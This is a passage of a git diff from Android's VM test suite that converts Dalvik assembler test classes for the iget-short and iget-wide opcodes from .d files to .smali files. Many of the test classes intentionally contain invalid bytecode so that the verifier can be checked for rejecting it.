--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_21.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/TestStubs;-><init>()V
+
+       iget-short v1, v0, Ldot/junit/opcodes/iget_short/TestStubs;->TestStubProtectedField:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.d
deleted file mode 100644
index 0de7441..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_3.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_3
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v3, v2, dot.junit.opcodes.iget_short.d.T_iget_short_3.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.smali
new file mode 100644
index 0000000..f1b86c9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_3.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v3, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_3;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.d
deleted file mode 100644
index bc8bc9f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_30.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_30
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget_short/d/T_iget_short_30
-    iget-short v1, v0, dot.junit.opcodes.iget_short.d.T_iget_short_30.st_i1 S
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.smali
new file mode 100644
index 0000000..fba2d2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_30.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_30;
+    iget-short v1, v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_30;->st_i1:S
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.d
deleted file mode 100644
index af8a395..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_31.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_31
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget_short.d.T_iget_short_31.st_i1 S
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.smali
new file mode 100644
index 0000000..cf34bf9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_31.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_31;->st_i1:S
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.d
deleted file mode 100644
index 5cde5bb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_35.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 2
-       iget-short v0, v1, dot.junit.opcodes.iget_short.TestStubs.TestStubProtectedField S
-       return v0
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.smali
new file mode 100644
index 0000000..4906be2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_35.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 2
+       iget-short v0, v1, Ldot/junit/opcodes/iget_short/TestStubs;->TestStubProtectedField:S
+       return v0
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.d
deleted file mode 100644
index 9e2ffb6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_4.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_4
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_4.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.smali
new file mode 100644
index 0000000..3ba12f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_4.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_4;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.d
deleted file mode 100644
index ac92c40..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_5.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_5
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_5.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.smali
new file mode 100644
index 0000000..dfaf31c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_5.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_5;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.d
deleted file mode 100644
index 2d9ab9b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_6.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_short/TestStubs/<init>()V
-
-       iget-short v1, v0, dot.junit.opcodes.iget_short.TestStubs.TestStubField S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.smali
new file mode 100644
index 0000000..065e081
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_6.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/TestStubs;-><init>()V
+
+       iget-short v1, v0, Ldot/junit/opcodes/iget_short/TestStubs;->TestStubField:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.d
deleted file mode 100644
index 3a042d0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_7.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_7no_class.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.smali
new file mode 100644
index 0000000..f74895e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_7.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_7no_class;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.d
deleted file mode 100644
index 129d2e4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_8.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_8.i1N S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.smali
new file mode 100644
index 0000000..ac2d82a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_8.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_8;->i1N:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.d
deleted file mode 100644
index 8721333..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_9.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_9
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       const v0, 0
-       iget-short v1, v0, dot.junit.opcodes.iget_short.d.T_iget_short_9.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.smali
new file mode 100644
index 0000000..8cf0373
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_9.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       const v0, 0
+       iget-short v1, v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_9;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.smali
new file mode 100644
index 0000000..f4dca66
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_1.smali
@@ -0,0 +1,57 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;
+.super Ljava/lang/Object;
+.source "T_iget_wide_1.java"
+
+
+# instance fields
+.field public i1:J
+
+.field protected p1:J
+
+.field private pvt1:J
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 3
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    const-wide v0, 0xb3a73dd46cbL
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->i1:J
+
+    const-wide v0, 0xa
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->p1:J
+
+    const-wide v0, 0x14
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->pvt1:J
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 3
+
+    iget-wide v1, p0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_1;->i1:J
+
+    return-wide v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.d
deleted file mode 100644
index 9a6f454..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
